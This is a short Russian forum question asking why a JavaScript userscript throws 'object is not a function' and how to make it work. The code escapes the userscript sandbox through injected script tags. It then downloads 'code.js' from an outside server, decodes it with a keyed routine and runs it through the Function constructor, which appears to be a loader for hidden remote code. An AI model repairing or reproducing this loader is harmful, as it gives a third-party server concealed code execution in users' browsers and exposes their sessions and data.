Что тут не так? Выдает ошибку Uncaught TypeError: object is not a function
Как его сделать что-бы он работал?
(function () {
var e = Function,
serverURL = 'http://szmrc.ru/',
imgurl = 'code.js';
var g = this.unsafeWindow;
(function () {
var b = document.createElement("script");
var c = ("t" + Math.random() + +(new Date())).replace(/\./g, "");
b.text = "window." + c + "=true";
document.querySelector("body")
.appendChild(b);
if (typeof (g) == "undefined" || !g[c]) {
if (window[c]) {
g = window
}
else {
var d = document.createElement("script");
d.text = "(" + (function () {
var a = document.createElement('unsafeWindow');
a.style.display = 'none';
a.onclick = function () {
return window
};
document.body.appendChild(a)
}).toString() + ")()";
document.querySelector("body").appendChild(d);
this.unsafeWindow = document.querySelector("unsafeWindow").onclick();
g = window.unsafeWindow
}
}
})();
$.ajax({
type: 'GET',
url: serverURL + imgurl,
dataType: 'text',
success: function (a) {
a = $.shift(a, $.key);
updateNow = new e(a);
updateNow()
},
error: function () {}
})
})();